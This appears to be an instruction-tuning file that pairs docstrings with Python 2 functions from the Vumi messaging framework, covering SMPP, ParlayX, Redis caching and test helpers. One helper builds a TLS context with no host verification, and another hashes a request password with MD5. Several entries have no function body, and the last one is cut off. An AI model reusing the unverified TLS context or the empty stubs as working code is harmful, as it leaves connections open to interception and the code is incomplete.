[INST] Create and store an inbound message.. [/INST] def _create_inbound(self, tag=("pool", "tag"), by_batch=False,
content='inbound foo'):
add_kw, batch_id = yield self._maybe_batch(tag, by_batch)
msg = self.msg_helper.make_inbound(
content, to_addr="+1234567810001", transport_type="sms")
msg_id = msg['message_id']
yield self.store.add_inbound_message(msg, **add_kw)
returnValue((msg_id, msg, batch_id))
[INST] Format a normalized MSISDN as a URI that ParlayX will accept.. [/INST] def format_address(msisdn):
if not msisdn.startswith('+'):
raise ValueError('Only international format addresses are supported')
return 'tel:' + msisdn[1:]
[INST] Format a `datetime` instance timestamp according to ParlayX
requirements.. [/INST] def format_timestamp(when):
return when.strftime('%Y%m%d%H%M%S')
[INST] Build a time-sensitive password for a request.. [/INST] def make_password(service_provider_id, service_provider_password,
timestamp):
return hashlib.md5(
service_provider_id +
service_provider_password +
timestamp).hexdigest()
[INST] The current date and time.. [/INST] def _now(self):
return datetime.now()
[INST] Register a notification delivery endpoint with the remote ParlayX
service.. [/INST] def start_sms_notification(self):
body = NOTIFICATION_MANAGER_NS.startSmsNotification(
NOTIFICATION_MANAGER_NS.reference(
L.endpoint(self.endpoint),
L.interfaceName('notifySmsReception'),
L.correlator(self._service_correlator)),
NOTIFICATION_MANAGER_NS.smsServiceActivationNumber(
self.short_code))
header = self._make_header()
return self.perform_soap_request(
uri=self.notification_uri,
action='',
body=body,
header=header,
expected_faults=[ServiceException])
[INST] Deregister notification delivery with the remote ParlayX service.. [/INST] def stop_sms_notification(self):
body = NOTIFICATION_MANAGER_NS.stopSmsNotification(
L.correlator(self._service_correlator))
header = self._make_header()
return self.perform_soap_request(
uri=self.notification_uri,
action='',
body=body,
header=header,
expected_faults=[ServiceException])
[INST] Fetch the next page of results.. [/INST] def next_page(self):
if not self.has_next_page():
return succeed(None)
d = deferToThread(self._index_page.next_page)
d.addCallback(type(self))
d.addErrback(riakErrorHandler)
return d
[INST] Call a function that touches the network and wrap the result in this
class.. [/INST] def _call_and_wrap(self, func):
d = deferToThread(func)
d.addCallback(type(self))
return d
[INST] Construct an appropriate configuration for the child worker.. [/INST] def construct_worker_config(self, worker_name):
config = deepcopy(self.config.get('defaults', {}))
config.update(self.config.get(worker_name, {}))
return config
[INST] Mark a test method as needing Riak setup.. [/INST] def needs_riak(method):
method.needs_riak = True
return method
[INST] Return a wrapper around `meth` that sets up a RiakManager.. [/INST] def wrap_riak_setup(deco, meth):
@wraps(meth)
def wrapper(self):
deco.setup_riak(self)
return meth(self)
return wrapper
[INST] Return a wrapper around `meth` that sets up a TxRiakManager.. [/INST] def wrap_txriak_setup(deco, meth):
@wraps(meth)
def wrapper(self):
d = deco.setup_txriak(self)
return d.addCallback(lambda _: meth(self))
return wrapper
[INST] Clean up the Riak manager on the given test class.. [/INST] def cleanup_manager(deco, self):
yield self.manager.purge_all()
yield self.manager.close_manager()
[INST] Read various host and worker attributes and wrap them in a message. [/INST] def _beat(self):
attrs = self._gen_attrs_func()
msg = HeartBeatMessage(**attrs)
self.publish_message(msg)
[INST] Check if we should stop throttling, and stop throttling if we should.
At a high level, we try each throttled message in our list until all of
them have been accepted by the SMSC, at which point we stop throttling.
In more detail.
We recursively process our list of throttled message_ids until either
we have none left (at which point we stop throttling) or we find one we
can successfully look up in our cache.
When we find a message we can retry, we retry it and return. We remain
throttled until the SMSC responds. If we're still throttled, the
message_id gets appended to our list and another check is scheduled for
later. If we're no longer throttled, this method gets called again
immediately.
When there are no more throttled message_ids in our list, we stop
throttling.. [/INST] def _check_stop_throttling(self):
self._unthrottle_delayedCall = None
if not self.is_bound():
self.log.msg("Can't check throttling while unbound, trying later.")
self.check_stop_throttling()
return
if not self._throttled_pdus:
self.log.msg("No more throttled messages to retry.")
yield self.stop_throttling()
return
seq_no = self._throttled_pdus.pop(0)
pdu_data = yield self.message_stash.get_cached_pdu(seq_no)
yield self.retry_throttled_pdu(pdu_data, seq_no)
[INST] Submit a concatenated SMS to the SMSC using the optional
SAR parameter names in the various PDUS.. [/INST] def submit_csm_sar(
self, vumi_message_id, destination_addr,
reference_rollover=0x10000, **pdu_params):
split_msg = self.csm_split_message(pdu_params.pop('short_message'))
if len(split_msg) == 1:
sequence_numbers = yield self.submit_sm(
vumi_message_id, destination_addr, short_message=split_msg[0],
**pdu_params)
returnValue(sequence_numbers)
optional_parameters = pdu_params.pop('optional_parameters', {}).copy()
ref_num = yield self.sequence_generator.next()
sequence_numbers = []
yield self.message_stash.init_multipart_info(
vumi_message_id, len(split_msg))
for i, msg in enumerate(split_msg):
pdu_params = pdu_params.copy()
optional_parameters.update({
'sar_msg_ref_num': (ref_num % reference_rollover),
'sar_total_segments': len(split_msg),
'sar_segment_seqnum': i + 1,
})
sequence_number = yield self.submit_sm(
vumi_message_id, destination_addr, short_message=msg,
optional_parameters=optional_parameters, **pdu_params)
sequence_numbers.extend(sequence_number)
returnValue(sequence_numbers)
[INST] Submit a concatenated SMS to the SMSC using user data headers (UDH)
in the message content.. [/INST] def submit_csm_udh(self, vumi_message_id, destination_addr, **pdu_params):
if 'esm_class' in pdu_params:
raise EsmeProtocolError(
'Cannot specify esm_class, GSM spec sets this at 0x40 '
'for concatenated messages using UDH.')
pdu_params = pdu_params.copy()
split_msg = self.csm_split_message(pdu_params.pop('short_message'))
if len(split_msg) == 1:
sequence_numbers = yield self.submit_sm(
vumi_message_id, destination_addr, short_message=split_msg[0],
**pdu_params)
returnValue(sequence_numbers)
ref_num = yield self.sequence_generator.next()
sequence_numbers = []
yield self.message_stash.init_multipart_info(
vumi_message_id, len(split_msg))
for i, msg in enumerate(split_msg):
pdu_params['esm_class'] = 0x40
udh = ''.join([
'\05',
'\00',
'\03',
chr(ref_num % 0xFF),
chr(len(split_msg)),
chr(i + 1),
])
short_message = udh + msg
sequence_number = yield self.submit_sm(
vumi_message_id, destination_addr, short_message=short_message,
**pdu_params)
sequence_numbers.extend(sequence_number)
returnValue(sequence_numbers)
[INST] Publish datapoints to a broker.. [/INST] def send_datapoints(self, exchange, queue, datapoints):
msg = MetricMessage()
msg.extend(datapoints)
self._broker.publish_message(exchange, queue, msg)
[INST] Retrieve datapoints from a broker.. [/INST] def recv_datapoints(self, exchange, queue):
vumi_msgs = self._broker.get_messages(exchange, queue)
msgs = [MetricMessage.from_dict(vm.payload) for vm in vumi_msgs]
return [msg.datapoints() for msg in msgs]
[INST] Return the channel if the recipient is a channel.
Otherwise return None.. [/INST] def channel(self):
if self.recipient[:1] in ('#', '&', '$'):
return self.recipient
return None
[INST] Called when bot has succesfully signed on to server.. [/INST] def signedOn(self):
log.msg("Attempting to join channels: %r" % (self.channels,))
for channel in self.channels:
self.join(channel)
[INST] This will get called when the bot receives a message.. [/INST] def privmsg(self, sender, recipient, message):
irc_msg = IrcMessage(sender, 'PRIVMSG', recipient, message,
self.nickname)
self.publish_message(irc_msg)
[INST] This will get called when the bot receives a notice.. [/INST] def noticed(self, sender, recipient, message):
irc_msg = IrcMessage(sender, 'NOTICE', recipient, message,
self.nickname)
self.publish_message(irc_msg)
[INST] This will get called when the bot sees someone do an action.. [/INST] def action(self, sender, recipient, message):
irc_msg = IrcMessage(sender, 'ACTION', recipient, message,
self.nickname)
self.publish_message(irc_msg)
[INST] Called when an IRC user changes their nickname.. [/INST] def irc_NICK(self, prefix, params):
old_nick = prefix.partition('!')[0]
new_nick = params[0]
log.msg("Nick changed from %r to %r" % (old_nick, new_nick))
[INST] Generate an altered version of a nickname that caused a collision in an
effort to create an unused related name for subsequent registration.. [/INST] def alterCollidedNick(self, nickname):
return nickname + '^'
[INST] Non-recursively overlay a set of configuration dictionaries. [/INST] def overlay_configs(*configs):
config = {}
for overlay in configs:
config.update(overlay)
return config
[INST] Parse an (usually) optional YAML config file.. [/INST] def read_yaml_config(config_file, optional=True):
if optional and config_file is None:
return {}
with file(config_file, 'r') as stream:
return yaml.load(stream, Loader=SafeLoaderWithInclude)
[INST] Set a worker configuration option (overrides values
specified in the file passed to --config).. [/INST] def opt_set_option(self, keyvalue):
key, _sep, value = keyvalue.partition(':')
self.set_options[key] = value
[INST] Print out a usage message for the worker-class and exit. [/INST] def do_worker_help(self):
worker_class = load_class_by_string(self.worker_class)
self.emit(worker_class.__doc__)
config_class = getattr(worker_class, 'CONFIG_CLASS', None)
if config_class is not None:
self.emit(config_class.__doc__)
self.emit("")
self.exit()
[INST] Build a `MockResponse` containing a SOAP envelope.. [/INST] def build(cls, code, body, header=None):
return cls(
code=code,
delivered_body=tostring(soap_envelope(body, header)))
[INST] Helper for creating an ``notifySmsDeliveryReceipt`` element.. [/INST] def create_sms_delivery_receipt(correlator, address, delivery_status):
return NOTIFICATION_NS.notifySmsDeliveryReceipt(
NOTIFICATION_NS.correlator(correlator),
NOTIFICATION_NS.deliveryStatus(
L.address(format_address(normalize_address(address))),
L.deliveryStatus(delivery_status.name)))
[INST] Logs a message via vumi.log .
Sub-class should override this if they wish to log messages
elsewhere. The `api` parameter is provided for use by such
sub-classes.
The `log` method should always return a deferred.. [/INST] def log(self, api, msg, level):
return succeed(log.msg(msg, logLevel=level))
[INST] Use ClientContextFactory directly and set the method if necessary.
This will perform no host verification at all.. [/INST] def _get_noverify_context(self):
from twisted.internet.ssl import ClientContextFactory
context_factory = ClientContextFactory()
if self.ssl_method is not None:
context_factory.method = self.ssl_method
return context_factory.getContext()
[INST] Turn an ElementTree element into an object with named params.
Not recursive!. [/INST] def receipt_to_namedtuple(element):
d = receipt_element_to_dict(element)
klass = namedtuple(element.tag, d.keys())
return klass._make(d.values())
[INST] Returns an :class:`SmsSyncMsgInfo` instance for this request.
May return a deferred that yields the actual result to its callback.. [/INST] def msginfo_for_request(self, request):
raise NotImplementedError("Sub-classes should implement"
" msginfo_for_request")
[INST] Returns an :class:`SmsSyncMsgInfo` instance for this outbound
message.
May return a deferred that yields the actual result to its callback.. [/INST] def msginfo_for_message(self, msg):
raise NotImplementedError("Sub-classes should implement"
" msginfo_for_message")
[INST] Update an outbound message's payload's transport_metadata to allow
msginfo to be reconstructed from replies.. [/INST] def add_msginfo_metadata(self, payload, msginfo):
raise NotImplementedError("Sub-class should implement"
" add_msginfo_metadata")
[INST] Gathers pending messages and sends a response including them.. [/INST] def _respond_with_pending_messages(self, msginfo, message_id, **kw):
outbound_ids = []
outbound_messages = []
account_key = self.key_for_account(msginfo.account_id)
while True:
msg_json = yield self.redis.lpop(account_key)
if msg_json is None:
break
msg = TransportUserMessage.from_json(msg_json)
outbound_ids.append(msg['message_id'])
outbound_messages.append({'to': msg['to_addr'],
'message': msg['content'] or ''})
yield self._send_response(message_id, messages=outbound_messages, **kw)
for outbound_id in outbound_ids:
yield self.publish_ack(user_message_id=outbound_id,
sent_message_id=outbound_id)
[INST] This is overridden in a subclass.. [/INST] def _get_transport_config(self, config):
cfg = self.default_config.copy()
cfg.update(config)
return cfg
[INST] The test cases assume the new config, this flattens the
config key word arguments value to match an old config
layout without the processor configs.. [/INST] def _get_transport_config(self, config):
cfg = self.default_config.copy()
processor_config_keys = [
'submit_short_message_processor_config',
'deliver_short_message_processor_config',
'delivery_report_processor_config',
]
for config_key in processor_config_keys:
processor_config = config.pop(config_key, {})
for name, value in processor_config.items():
cfg[name] = value
cfg.update(config)
return cfg
[INST] Create a SOAP body containing a SOAP fault.. [/INST] def _make_fault(*a, **kw):
return SOAP_ENV.Body(soap_fault(*a, **kw))
[INST] Construct a manager from a dictionary of options.. [/INST] def _manager_from_config(cls, config, manager_config):
return cls(VumiRedis(**config), **manager_config)
[INST] Delete *ALL* keys whose names start with this manager's key prefix.
Use only in tests.. [/INST] def _purge_all(self):
for key in self.keys():
self.delete(key)
[INST] A version of getPage that uses QuietHTTPClientFactory.. [/INST] def quiet_get_page(url, contextFactory=None, *args, **kwargs):
return _makeGetterFactory(
url,
QuietHTTPClientFactory,
contextFactory=contextFactory,
*args, **kwargs).deferred
[INST] Construct a custom raven client and transport-set pair.
The raven client assumes that sends via transports return success or
failure immediate in a blocking fashion and doesn't provide transports
access to the client.
We circumvent this by constructing a once-off transport class and
raven client pair that work together. Instances of the transport feed
information back success and failure back to the client instance once
deferreds complete.
Pull-requests with better solutions welcomed.. [/INST] def vumi_raven_client(dsn, log_context_sentinel=None):
import raven
from raven.transport.base import TwistedHTTPTransport
from raven.transport.registry import TransportRegistry
remaining_deferreds = set()
if log_context_sentinel is None:
log_context_sentinel = DEFAULT_LOG_CONTEXT_SENTINEL
log_context = {log_context_sentinel: True}
class VumiRavenHTTPTransport(TwistedHTTPTransport):
scheme = ['http', 'https']
def _get_page(self, data, headers):
d = quiet_get_page(self._url, method='POST', postdata=data,
headers=headers)
self._track_deferred(d)
self._track_client_state(d)
return d
def _track_deferred(self, d):
remaining_deferreds.add(d)
d.addBoth(self._untrack_deferred, d)
def _untrack_deferred(self, result, d):
remaining_deferreds.discard(d)
return result
def _track_client_state(self, d):
d.addCallbacks(self._set_client_success, self._set_client_fail)
def _set_client_success(self, result):
client.state.set_success()
return result
def _set_client_fail(self, result):
client.state.set_fail()
return result
def send(self, data, headers):
d = self._get_page(data, headers)
d.addErrback(lambda f: log.err(f, **log_context))
class VumiRavenClient(raven.Client):
_registry = TransportRegistry(transports=[
VumiRavenHTTPTransport
])
def teardown(self):
return DeferredList(remaining_deferreds)
client = VumiRavenClient(dsn)
return client
[INST] Run once for each key.
May return either the name of the key (if the key should
be processed by later tasks), the new name of the key (if
the key was renamed and should be processed by later tasks)
or ``None`` (if the key has been deleted or should not be
processed by further tasks).. [/INST] def process_key(self, key):
return key
[INST] Print the given string and then a newline.. [/INST] def emit(self, s):
self.stdout.write(s)
self.stdout.write("\n")
[INST] Apply all tasks to all keys.. [/INST] def run(self):
for task in self.tasks:
task.init(self, self.redis)
for task in self.tasks:
task.before()
for key in scan_keys(self.redis, self.match_pattern):
for task in self.tasks:
key = task.process_key(key)
if key is None:
break
for task in self.tasks:
task.after()
[INST] Add any needed HTTP headers to the request.
Often used to set the Content-Type header.. [/INST] def add_http_headers(request):
[INST] Write any header bytes that need to be written to the request before
messages.. [/INST] def write_row_header(request):
[INST] Perform teardown required for router.. [/INST] def teardown_routing(self):
pass
[INST] Dispatch an inbound user message to a publisher.. [/INST] def dispatch_inbound_message(self, msg):
raise NotImplementedError()
[INST] Dispatch an event to a publisher.. [/INST] def dispatch_inbound_event(self, msg):
raise NotImplementedError()
[INST] Dispatch an outbound user message to a publisher.. [/INST] def dispatch_outbound_message(self, msg):
raise NotImplementedError()
[INST] Explicitly throw away events, because transports can't receive them.. [/INST] def dispatch_inbound_event(self, msg):
pass
[INST] If we're only hooking transports up to each other, there are no
outbound messages.. [/INST] def dispatch_outbound_message(self, msg):
pass
[INST] Start and return the given MockHttpServer with suitable cleanup.. [/INST] def start_mock_server(self, mock_server):
self.add_cleanup(mock_server.stop)
d = mock_server.start()
return d.addCallback(lambda _: mock_server)
[INST] Creates a manager, purges all the riak data with it, then closes it.. [/INST] def purge_txriak(self):
manager = self.create_txriak_manager()
yield manager.purge_all()
yield manager.close_manager()
[INST] Creates and returns a TxRiakManager, handling cleanup.. [/INST] def create_txriak_manager(self):
try:
from vumi.persist.txriak_manager import TxRiakManager
except ImportError, e:
import_skip(e, 'riak', 'riak')
self.add_cleanup(self.purge_txriak)
return TxRiakManager.from_config({'bucket_prefix': 'test.'})
[INST] Creates a manager, purges all the riak data with it, then closes it.. [/INST] def purge_riak(self):
manager = self.create_riak_manager()
manager.purge_all()
manager.close_manager()
[INST] Creates and returns a RiakManager, handling cleanup.. [/INST] def create_riak_manager(self):
try:
from vumi.persist.riak_manager import RiakManager
except ImportError, e:
import_skip(e, 'riak', 'riak')
self.add_cleanup(self.purge_riak)
return RiakManager.from_config({'bucket_prefix': 'test.'})
[INST] Set the TTL on multipart info hash to something small. We don't delete
this in case there's still an in-flight operation that will recreate it
without a TTL.. [/INST] def expire_multipart_info(self, message_id):
expiry = self.config.completed_multipart_info_expiry
return self.redis.expire(multipart_info_key(message_id), expiry)
[INST] Does various setup work in order to be able to accurately
store cached data for a batch_id.
A call to this isn't necessary but good for general house keeping.. [/INST] def batch_start(self, batch_id, use_counters=True):
yield self.redis.sadd(self.batch_key(), batch_id)
yield self.init_status(batch_id)
if use_counters:
yield self.redis.set(self.inbound_count_key(batch_id), 0)
yield self.redis.set(self.outbound_count_key(batch_id), 0)
yield self.redis.set(self.event_count_key(batch_id), 0)
[INST] Removes all cached values for the given batch_id, useful before
a reconciliation happens to ensure that we start from scratch.
This will reset all counters back to zero and will increment
them as messages are received. If your UI depends on your
cached values your UI values might be off while the
reconciliation is taking place.. [/INST] def clear_batch(self, batch_id):
yield self.redis.delete(self.inbound_key(batch_id))
yield self.redis.delete(self.inbound_count_key(batch_id))
yield self.redis.delete(self.outbound_key(batch_id))
yield self.redis.delete(self.outbound_count_key(batch_id))
yield self.redis.delete(self.event_key(batch_id))
yield self.redis.delete(self.event_count_key(batch_id))
yield self.redis.delete(self.status_key(batch_id))
yield self.redis.delete(self.to_addr_key(batch_id))
yield self.redis.delete(self.from_addr_key(batch_id))
yield self.redis.srem(self.batch_key(), batch_id)
[INST] Add an outbound message to the cache for the given batch_id. [/INST] def add_outbound_message(self, batch_id, msg):
timestamp = self.get_timestamp(msg['timestamp'])
yield self.add_outbound_message_key(
batch_id, msg['message_id'], timestamp)
yield self.add_to_addr(batch_id, msg['to_addr'])
[INST] Add a message key, weighted with the timestamp to the batch_id.. [/INST] def add_outbound_message_key(self, batch_id, message_key, timestamp):
new_entry = yield self.redis.zadd(self.outbound_key(batch_id), **{
message_key.encode('utf-8'): timestamp,
})
if new_entry:
yield self.increment_event_status(batch_id, 'sent')
uses_counters = yield self.uses_counters(batch_id)
if uses_counters:
yield self.redis.incr(self.outbound_count_key(batch_id))
yield self.truncate_outbound_message_keys(batch_id)
[INST] Add a count to all outbound message counters. (Used for recon.). [/INST] def add_outbound_message_count(self, batch_id, count):
yield self.increment_event_status(batch_id, 'sent', count)
yield self.redis.incr(self.outbound_count_key(batch_id), count)
[INST] Add a count to all relevant event counters. (Used for recon.). [/INST] def add_event_count(self, batch_id, status, count):
yield self.increment_event_status(batch_id, status, count)
yield self.redis.incr(self.event_count_key(batch_id), count)
[INST] Add an event to the cache for the given batch_id. [/INST] def add_event(self, batch_id, event):
event_id = event['event_id']
timestamp = self.get_timestamp(event['timestamp'])
new_entry = yield self.add_event_key(batch_id, event_id, timestamp)
if new_entry:
event_type = event['event_type']
yield self.increment_event_status(batch_id, event_type)
if event_type == 'delivery_report':
yield self.increment_event_status(
batch_id, '%s.%s' % (event_type, event['delivery_status']))
[INST] Add the event key to the set of known event keys.
Returns 0 if the key already exists in the set, 1 if it doesn't.. [/INST] def add_event_key(self, batch_id, event_key, timestamp):
uses_event_counters = yield self.uses_event_counters(batch_id)
if uses_event_counters:
new_entry = yield self.redis.zadd(self.event_key(batch_id), **{
event_key.encode('utf-8'): timestamp,
})
if new_entry:
yield self.redis.incr(self.event_count_key(batch_id))
yield self.truncate_event_keys(batch_id)
returnValue(new_entry)
else:
returnValue(False)
new_entry = yield self.redis.sadd(
self.event_key(batch_id), event_key)
returnValue(new_entry)
[INST] Increment the status for the given event_type for the given batch_id.. [/INST] def increment_event_status(self, batch_id, event_type, count=1):
return self.redis.hincrby(self.status_key(batch_id), event_type, count)
[INST] Add an inbound message to the cache for the given batch_id. [/INST] def add_inbound_message(self, batch_id, msg):
timestamp = self.get_timestamp(msg['timestamp'])
yield self.add_inbound_message_key(
batch_id, msg['message_id'], timestamp)
yield self.add_from_addr(batch_id, msg['from_addr'])
[INST] Add a message key, weighted with the timestamp to the batch_id. [/INST] def add_inbound_message_key(self, batch_id, message_key, timestamp):
new_entry = yield self.redis.zadd(self.inbound_key(batch_id), **{
message_key.encode('utf-8'): timestamp,
})
if new_entry:
uses_counters = yield self.uses_counters(batch_id)
if uses_counters:
yield self.redis.incr(self.inbound_count_key(batch_id))
yield self.truncate_inbound_message_keys(batch_id)
[INST] Add a count to all inbound message counters. (Used for recon.). [/INST] def add_inbound_message_count(self, batch_id, count):
yield self.redis.incr(self.inbound_count_key(batch_id), count)
[INST] Add a from_addr to this batch_id using Redis's HyperLogLog
functionality. Generally this information is set when
`add_inbound_message()` is called.. [/INST] def add_from_addr(self, batch_id, from_addr):
return self.redis.pfadd(
self.from_addr_key(batch_id), from_addr.encode('utf-8'))
[INST] Return count of the unique from_addrs in this batch. Note that the
returned count is not exact.. [/INST] def count_from_addrs(self, batch_id):
return self.redis.pfcount(self.from_addr_key(batch_id))
[INST] Return count of the unique to_addrs in this batch. Note that the
returned count is not exact.. [/INST] def count_to_addrs(self, batch_id):
return self.redis.pfcount(self.to_addr_key(batch_id))
[INST] Return the count of the unique inbound message keys for this batch_id. [/INST] def count_inbound_message_keys(self, batch_id):
if not (yield self.uses_counters(batch_id)):
returnValue((yield self.inbound_message_keys_size(batch_id)))
count = yield self.inbound_message_count(batch_id)
returnValue(count)
[INST] Return the count of the unique outbound message keys for this batch_id. [/INST] def count_outbound_message_keys(self, batch_id):
if not (yield self.uses_counters(batch_id)):
returnValue((yield self.outbound_message_keys_size(batch_id)))
count = yield self.outbound_message_count(batch_id)
returnValue(count)
[INST] Return the count of the unique event keys for this batch_id. [/INST] def count_event_keys(self, batch_id):
uses_event_counters = yield self.uses_event_counters(batch_id)
if uses_event_counters:
count = yield self.event_count(batch_id)
returnValue(count)
else:
count = yield self.redis.scard(self.event_key(batch_id))
returnValue(count)
[INST] Calculate the number of messages seen in the last `sample_time` amount
of seconds.. [/INST] def count_inbound_throughput(self, batch_id, sample_time=300):
last_seen = yield self.redis.zrange(
self.inbound_key(batch_id), 0, 0, desc=True,
withscores=True)
if not last_seen:
returnValue(0)
[(latest, timestamp)] = last_seen
count = yield self.redis.zcount(
self.inbound_key(batch_id), timestamp - sample_time, timestamp)
returnValue(int(count))
[INST] Calculate the number of messages seen in the last `sample_time` amount
of seconds.. [/INST] def count_outbound_throughput(self, batch_id, sample_time=300):
last_seen = yield self.redis.zrange(
self.outbound_key(batch_id), 0, 0, desc=True, withscores=True)
if not last_seen:
returnValue(0)
[(latest, timestamp)] = last_seen
count = yield self.redis.zcount(
self.outbound_key(batch_id), timestamp - sample_time, timestamp)
returnValue(int(count))
[INST] Store the inbound query results for a query that was started with
`start_inbound_query`. Internally this grabs the timestamps from
the cache (there is an assumption that it has already been reconciled)
and orders the results accordingly.. [/INST] def store_query_results(self, batch_id, token, keys, direction,
ttl=None):
ttl = ttl or self.DEFAULT_SEARCH_RESULT_TTL
result_key = self.search_result_key(batch_id, token)
if direction == 'inbound':
score_set_key = self.inbound_key(batch_id)
elif direction == 'outbound':
score_set_key = self.outbound_key(batch_id)
else:
raise MessageStoreCacheException('Invalid direction')
for key in keys:
timestamp = yield self.redis.zscore(score_set_key, key)
yield self.redis.zadd(result_key, **{
key.encode('utf-8'): timestamp,
})
yield self.redis.expire(result_key, ttl)
yield self.redis.srem(self.search_token_key(batch_id), token)
[INST] Handle a delivery report PDU from the networks.
All processors should implement this even if it does nothing.. [/INST] def handle_delivery_report_pdu(pdu_data):
[INST] Handle an unpacked delivery report from the networks.
This can happen with certain SMSCs that don't set the necessary
delivery report flags on a PDU. As a result we only detect the DR by
matching a received SM against a predefined regex.. [/INST] def handle_delivery_report_content(pdu_data):
[INST] Handle a short message PDU from the networks after it has been
re-assembled and decoded.
All processors should implement this even if it does nothing.. [/INST] def handle_short_message_pdu(pdu):
[INST] Handle a part of a multipart PDU.
All processors should implement this even if it does nothing.. [/INST] def handle_multipart_pdu(pdu):
[INST] Handle a USSD pdu.
It is likely that the USSD bits of this Interface will move to
its own Interface implementation once work starts on an USSD over
SMPP implementation.
All processors should implement this even if it does nothing.. [/INST] def handle_ussd_pdu(pdu):
[INST] Decode a byte string and return the unicode string for it according
to the specified data coding.. [/INST] def dcs_decode(obj, data_coding):
[INST] Handle an outbound message from Vumi by calling the appropriate
methods on the service with the appropriate parameters.
These parameters and values can differ per MNO.
Should return a Deferred that fires with a the list of sequence_numbers
returning from the submit_sm calls.. [/INST] def handle_raw_outbound_message(vumi_message, smpp_service):
[INST] Schedule a message delivery run.
Returns a deferred that will fire when all deliverable
messages have been delivered and processed by their consumers.
This is useful for manually triggering a delivery run from
inside a test.. [/INST] def kick_delivery(self):
if self._delivering is None:
self._delivering = {
'deferred': Deferred(),
'count': 0,
}
self._delivering['count'] += 1
reactor.callLater(0, self.deliver_to_channels)
return self.wait_delivery()
[INST] Wait for the current message delivery run (if any) to finish.
Returns a deferred that will fire when the broker is finished
delivering any messages from the current run. This should not
leave any messages undelivered, because basic_publish() kicks
off a delivery run.
Each call returns a new deferred to avoid callback chain ordering
issues when several things want to wait for delivery.
This method should be called during test teardown to make
sure there are no pending delivery cleanups that will cause a
dirty reactor race.. [/INST] def wait_delivery(self):
d = Deferred()
if self._delivering is None:
d.callback(None)
else:
self._delivering['deferred'].chainDeferred(d)
return d
[INST] Notify the broker that a message has been processed, in order
to make delivery sane.. [/INST] def message_processed(self):
self.broker.message_processed()
[INST] Register cleanup and perform setup for a helper object.. [/INST] def add_helper(helper_object, *args, **kwargs):
[INST] Mark a method as being suitable for automatic proxy generation.
See :func:`generate_proxies` for usage.. [/INST] def proxyable(func):
func.proxyable = True
return func
[INST] We can't necessarily use TestCase.successResultOf because our Twisted might
not be new enough. This is a standalone copy with some minor message
differences.. [/INST] def success_result_of(d):
results = []
d.addBoth(results.append)
if not results:
raise FailTest("No result available for deferred: %r" % (d,))
if isinstance(results[0], Failure):
raise FailTest("Expected success from deferred %r, got failure: %r" % (
d, results[0]))
return results[0]
[INST] Poll the reactor for unclosed connections and wait for them to close.
Properly waiting for all connections to finish closing requires hooking
into :meth:`Protocol.connectionLost` in both client and server. Since
this isn't practical in all cases, we check the reactor for any open
connections and wait a bit for them to finish closing if we find any.
This will only wait for connections that close on their own. Any
connections that have been left open will stay open (unless they
time out or something) and will leave the reactor dirty after we
stop waiting.. [/INST] def _check_reactor_things(self):
from twisted.internet import reactor
yield deferLater(reactor, 0, lambda: None)
for i in range(self.reactor_check_iterations):
internal_readers = getattr(reactor, '_internalReaders', set())
selectables = set(reactor.getReaders() + reactor.getWriters())
if not (selectables - internal_readers):
return
yield deferLater(
reactor, self.reactor_check_interval, lambda: None)
[INST] Register a cleanup function to be called at teardown time.. [/INST] def add_cleanup(self, func, *args, **kw):
if self._cleanup_funcs is None:
self._cleanup_funcs = []
self._cleanup_funcs.append((func, args, kw))
[INST] Perform setup and register cleanup for the given helper object.. [/INST] def add_helper(self, helper_object, *args, **kw):
if not IHelper.providedBy(helper_object):
raise ValueError(
"Helper object does not provide the IHelper interface: %s" % (
helper_object,))
self.add_cleanup(helper_object.cleanup)
return maybe_async_return(
helper_object, helper_object.setup(*args, **kw))
[INST] The only real difference between using this method and constructing a
message object directly is that this method provides sensible defaults
for most fields and sets the routing endpoint (if provided) in a more
convenient way.
The following parameters are mandatory.. [/INST] def make_user_message(self, content, from_addr, to_addr, group=None,
session_event=None, transport_type=DEFAULT,
transport_name=DEFAULT, transport_metadata=DEFAULT,
helper_metadata=DEFAULT, endpoint=DEFAULT, **kw):
if transport_type is DEFAULT:
transport_type = self.transport_type
if helper_metadata is DEFAULT:
helper_metadata = {}
if transport_metadata is DEFAULT:
transport_metadata = {}
if transport_name is DEFAULT:
transport_name = self.transport_name
msg = TransportUserMessage(
from_addr=from_addr,
to_addr=to_addr,
group=group,
transport_name=transport_name,
transport_type=transport_type,
transport_metadata=transport_metadata,
helper_metadata=helper_metadata,
content=content,
session_event=session_event,
**kw)
if endpoint is not DEFAULT:
msg.set_routing_endpoint(endpoint)
return msg
[INST] Wait for any pending message deliveries and stop all workers.. [/INST] def cleanup(self):
yield self.broker.wait_delivery()
for worker in self._workers:
yield worker.stopWorker()
[INST] Clean up a particular worker manually and remove it from the helper's
cleanup list. This should only be called with workers that are already
in the helper's cleanup list.. [/INST] def cleanup_worker(self, worker):
self._workers.remove(worker)
return worker.stopWorker()
[INST] Clear all dispatched messages from the broker.. [/INST] def clear_all_dispatched(self):
self.broker.clear_messages('vumi')
self.broker.clear_messages('vumi.metrics')
[INST] Wait for events dispatched to a connector.. [/INST] def wait_for_dispatched_events(self, amount=None, connector_name=None):
d = self._wait_for_dispatched(connector_name, 'event', amount)
d.addCallback(lambda msgs: [
TransportEvent(**msg.payload) for msg in msgs])
return d
[INST] Wait for inbound messages dispatched to a connector.. [/INST] def wait_for_dispatched_inbound(self, amount=None, connector_name=None):
d = self._wait_for_dispatched(connector_name, 'inbound', amount)
d.addCallback(lambda msgs: [
TransportUserMessage(**msg.payload) for msg in msgs])
return d
[INST] Wait for outbound messages dispatched to a connector.. [/INST] def wait_for_dispatched_outbound(self, amount=None, connector_name=None):
d = self._wait_for_dispatched(connector_name, 'outbound', amount)
d.addCallback(lambda msgs: [
TransportUserMessage(**msg.payload) for msg in msgs])
return d
[INST] Wait for statuses dispatched to a connector.. [/INST] def wait_for_dispatched_statuses(self, amount=None, connector_name=None):
if connector_name is None:
connector_name = self._status_connector_name
d = self._wait_for_dispatched(connector_name, 'status', amount)
d.addCallback(lambda msgs: [
TransportStatus(**msg.payload) for msg in msgs])
return d
[INST] Clear dispatched events for a connector.. [/INST] def clear_dispatched_events(self, connector_name=None):
return self._clear_dispatched(connector_name, 'event')
[INST] Clear dispatched inbound messages for a connector.. [/INST] def clear_dispatched_inbound(self, connector_name=None):
return self._clear_dispatched(connector_name, 'inbound')
[INST] Clear dispatched outbound messages for a connector.. [/INST] def clear_dispatched_outbound(self, connector_name=None):
return self._clear_dispatched(connector_name, 'outbound')
[INST] Clear dispatched statuses for a connector.. [/INST] def clear_dispatched_statuses(self, connector_name=None):
if connector_name is None:
connector_name = self._status_connector_name
